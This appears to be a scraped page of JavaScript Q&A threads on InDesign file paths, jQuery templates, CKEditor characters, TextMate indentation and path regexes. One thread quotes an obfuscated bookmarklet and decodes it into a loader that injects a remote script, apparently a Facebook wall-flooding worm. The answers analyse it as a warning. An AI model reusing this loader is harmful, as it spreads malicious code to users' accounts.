Indesign Javascript load a file from serverpath - javascript

I have a problem with Indesign.
I have a document, where I want to add a picture programmatically.
This is easy, when I use a picture on my localdrive. But I want to add a picture from a server path like \myserver\pictures\pic.jpg
I tried it like I add a picture from localdrive
var f = new File("\\myserver\pictures\pic.jpg");
imgPicture.place(f, false);
Then the value in f is
//myserver/pictures/pic.jpg
I build a try catch around it. The errorMessage is undefined.
I get the same error, when i use the networkdrive letter, like
/x/pictures/pic.jpg
As i saw in the documentation for the file-object, there is only one string-parameter for the path.
Is there a solution?
On an other forum, I found a thread where someone had the same problem. But he did a dirty way to solved it. He did a fileOpenDialog and pasted the link to the file and then it downloads the file to the temp directory.
I can't do this, because I have on my server about 100,000 pictures.
Thanks for help.

Another issue of yours may be that backslash may be interpreted as escaping character thus resulting in something like : \myserverpicturespic.jpg" So you may need to escape the escaping character like : "\\myserver\pictures\pic.jpg" and then pass this string. Finally, when I have a doubt about a file path, I usually use this bit of code :
var f = File.openDialog();
if ( f ) $.writeln ( f.fsName );
FWIW
Loic

I can not get the value of f with the forward slashes as you do. I tried your code and it works fine for me if I pass the file-path as
var f = new File("//myserver/pictures/pic.jpg");
You could convert you path with .toString().replace(/\/g, '/')
Also try to replace spaces in the filepath with
CS 5.5 OSX 10.9

Related

JQuery String Concatenation within a String

I'd like to preface this by saying I'm new to JQuery and this may be a simple question, but I was unable to find a solution after searching to the best of my ability.
I am trying to build a path to an image, where I am working with an API which returns an object that gives part of the path but not the base path.
Ex:
Base path = Youtube.com/watch/?
Path piece from API: /gdsrhab
On line 29 you can see I am trying to perform string concatenation within trying to build the "results" string. I understand why this is not working the way I've set it up, but am not sure how to syntactically perform this (if possible).
I've also tried to create two variables: baseURL and apiURL, concatenate them and save the result into completeURL then substitute it in, but it JQuery takes the string literal "completeURL" instead of substituting the value of the variable. Could someone point me in the right direction for how to get the full path within the tag? Thanks in advance for your help.
Picture of my JQuery code
In the following picture you can see the second half of the path is missing
The error message I receive
You are using ES6 string templates at start, so you only need to set your variable inside the ${}, you dont need to concate it, the string template will do it for you. So instead of
<img src = 'http...../' + '${movie.poster_path}'}>
that will output something like:
<img src="'http://yoururl.com/'+'mypath'"
you only need to do
<img src = 'http://yoururl.com/${movie.poster_path}'>
inside your string template

Replace / restrict non-standard characters in CKEDITOR

I have a CKEDITOR instance (version 4.5.7) into which users input content. This content posts to a database field with the collation SQL_Latin1_General_CP1_CI_AS.
The problem comes when a user pastes text from Word or a similar rich-text editor. Two characters in particular get malformed when they hit the database: ” (”) and – (–).
I have already set config.entities to false to prevent the characters from being converted into their HTML equivalents. Now I'm looking for a place where I can intercept the process to find/replace any offending characters. Although the javascript for this sort of thing is easy enough ( text = text.replace('”', '"') ), I'm not sure where to put it in order to make this happen. I've tried placing it in various places within the CKEDITOR.htmlParser.basicWriter function, but nothing so far has worked.
This seems like it would be a fairly common problem - is there perhaps a way to set collation on the editor so it matches the database?
Thank you for any advice.
I kept plunking away in the basicWriter function until eventually I was surprised to find one place that actually does work. Basically, this is the process I used to solve this problem without editing ckeditor.js
Download and open an uncompressed version of the ckeditor.js file.
Locate and copy the entire CKEDITOR.htmlParser.basicWriter function into the bottom of your config.js file. This basically redefines the function, overriding the real one but allowing us to make customizations to it without necessarily breaking future updates.
In the copied function within config.js, locate the getHtml section and customize the html variable before it gets returned. Below is a template to help you locate this section
getHtml: function( reset ) {
var html = this._.output.join( '' );
// this is where we can replace individual characters or make other
// customizations
html = html.replace('”', '"');
html = html.replace('–', '-');
if ( reset )
this.reset();
return html;
}

Can someone decrypt this javascript

i found it in a forum that tell me that this code would give me auto play for facebook games but i afraid that this is not what they say, im afraid that this is malicious script
please help :)
javascript:var _0x8dd5=["\x73\x72\x63","\x73\x63\x72\x69\x70\x74","\x63\x7 2\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x 68\x74\x74\x70\x3A\x2F\x2F\x75\x67\x2D\x72\x61\x64 \x69\x6F\x2E\x63\x6F\x2E\x63\x63\x2F\x66\x6C\x6F\x 6F\x64\x2E\x6A\x73","\x61\x70\x70\x65\x6E\x64\x43\ x68\x69\x6C\x64","\x62\x6F\x64\x79"];(a=(b=document)[_0x8dd5[2]](_0x8dd5[1]))[_0x8dd5[0]]=_0x8dd5[3];b[_0x8dd5[5]][_0x8dd5[4]](a); void (0);
Let's start by decoding the escape sequences, and get rid of that _0x8dd5 variable name:
var x=[
"src","script","createElement","http://ug-radio.co.cc/flood.js",
"appendChild","body"
];
(a=(b=document)[x[2]](x[1]))[x[0]]=x[3];
b[x[5]][x[4]](a);
void (0);
Substituting the string from the array, you are left with:
(a=(b=document)["createElement"]("script"))["src"]="http://ug-radio.co.cc/flood.js";
b["body"]["appendChild"](a);
void (0);
So, what the script does is simply:
a = document.createElement("script");
a.src = "http://ug-radio.co.cc/flood.js";
document.body.appendChild(a);
void (0);
I.e. it loads the Javascript http://ug-radio.co.cc/flood.js in the page.
Looking at the script in the file that is loaded, it calls itself "Wallflood By X-Cisadane". It seems to get a list of your friends and post a message to (or perhaps from) all of them.
Certainly nothing to do with auto play for games.
I opened firebug, and pasted part of the script into the console (being careful to only paste the part that created a variable, rather than running code). This is what I got:
what I pasted:
console.log(["\x73\x72\x63","\x73\x63\x72\x69\x70\x74","\x63\x7 2\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x 68\x74\x74\x70\x3A\x2F\x2F\x75\x67\x2D\x72\x61\x64 \x69\x6F\x2E\x63\x6F\x2E\x63\x63\x2F\x66\x6C\x6F\x 6F\x64\x2E\x6A\x73","\x61\x70\x70\x65\x6E\x64\x43\ x68\x69\x6C\x64","\x62\x6F\x64\x79"]);
the result:
["src", "script", "cx7 2eateElement", "x 68ttp://ug-rad io.co.cc/flox 6Fd.js", "appendC x68ild", "body"]
In short, what this looks like is script to load an external Javascript file from a remote server with a very dodgy looking domain name.
There are a few characters which are not converted quite to what you'd expect. This could be typos (unlikely) or deliberate further obfuscation, to fool any automated malware checker looking for scripts containing URLs or references to createElement, etc. The remainder of the script patches those characters back into place individually before running it.
The variable name _0x8dd5 is chosen to look like hex code and make the whole thing harder to read, but in fact it's just a regular Javascript variable name. It is referenced repeatedly in the rest of the script as it copies characters from one part of the string to another to fix the deliberate gaps.
Definitely a malicious script.
I recommend burning it immediately! ;-)
Well, the declared var is actually this:
var _0x8dd5= [
'src', 'script', 'cx7 2eateElement',
'x 68ttp://ug-rad io.co.cc/flox 6Fd.js', 'appendC x68ild', 'body'
];
The rest is simple to figure out.
Well your first statement is setting up an array with roughly the following contents:
var _0x8dd5 = ["src", "script", "createElement", "http://ug-radio.co.cc/flood.js", "appendChild", "body"];
I say "roughly" because I'm using Chrome's JavaScript console to parse the data, and some things seem to be a bit garbled. I've cleaned up the garbled portions as best as I can.
The rest appears to be calling something along the lines of:
var b = document;
var a = b.createElement("script");
a.src = "http://ug-radio.co.cc/flood.js";
b.body.appendChild(a);
So basically, it is adding a (probably malicious) script to the document.
You most probably know how to decode this or how it was encoded, but for those that aren't sure, it is nothing but 2-digit hexadecimal escape sequence. It could also be 4 digit one using \udddd (eg. "\u0032" is "2") or \ddd for octal.
Decoding hex string in javascript

textmate reformat with 2 spaces

I've set textmate to use softtabs 2 spaces on my file. But when I try to reformat the entire document, it uses 2 hard tabs as the indents.
Regular indents work as I want it to, just the document format doesn't. Anyway to get textmate to be obedient?
Thanks.
The JavaScript bundle's "Reformat Document / Selection" command is passing the document's text to the js_beautify function in the bundle's beautify.php file (found on my system and probably by default at /Applications/TextMate.app/Contents/SharedSupport/Bundles/JavaScript.tmbundle/Support/lib/beautify.php). If you take a look at the function definition you'll see that there's a second parameter, $tab_size, with a default value of 4. There's a line in the bundle that reads print js_beautify($input);. Change this to print js_beautify($input, 2); and you should, I expect, get tab stops with two spaces.
To make it a bit more flexible, use the TextMate environment variable TM_TAB_SIZE, as in print js_beautify( $input, getenv('TM_TAB_SIZE' ) );, which should update how the command operates if you ever change your tab size.
Note, I've tested none of this. :) Just took a look at the bundle and tracked down what seems to be necessary.
So, I tried chuck's suggestion and it gave me an error. I did this to "fix it". I'm sure it could be done more elegantly, but this worked for me.
Open up the same file Chuck says to open up, line 50 (or so) should look like this:
function js_beautify($js_source_text, $tab_size = 4)
change $tab_size to 1
function js_beautify($js_source_text, $tab_size = 1)
Now, around line 56 where it says:
$tab_string = str_repeat(' ', $tab_size);
change the space to a tab like so:
$tab_string = str_repeat("\t", $tab_size);
That worked for me.

Determining the presence of a file with JavaScript?

I have folder/file tree generated by JavaScript where the folder and files each have checkbox inputs with paths associated with them, like:
/var/www/site/user/folder7/ or
/var/www/site/user/folder7/file.txt or
/var/www/site/user/folder7/file.? (? being any file extension)
In the case of these paths I need only
/var/www/site/user/folder7
I know that normally to remove file names one would use something like:
var full_path = node.context.nextElementSibling.value;
var folder_target_path = full_path.substring(0, full_path.lastIndexOf("/"));
However this return either:
/var/www/site/user/folder7 or
/var/www/site/user
I could use the lastIndexOf() method if I could use some regex to find .? and then up to the last '/'; however I am fairly new to javascript and have never used regex in it.
Could you suggest an effecient way to get only the folder and not the file path in all cases?
Regards,
Steve
Here's the W3 tutorial on JavaScript and regex:
http://www.w3schools.com/jsref/jsref_obj_regexp.asp
var folder_target_path = full_path.replace(/\/[^\/]*$/, '');
will remove the last / and anything following it. I think you can avoid having to escape the /'s in the pattern by creating a Regexp object from a string.
To get this working completely I need to use the following:
var full_path = node.context.nextElementSibling.value;
var folder_target_path;
var pathRE = /\./;
if (full_path.match(pathRE)){
folder_target_path = full_path.replace(/\/[^\/]*$/, '');
} else {
folder_target_path = full_path;
}
This either matches a path that contains . (period to designate file extension start) then remove the file name with full_path.replace(/\/[^\/]*$/, ''); otherwise don't modify the full path.
Thanks to all!
Regards,
Steve

Categories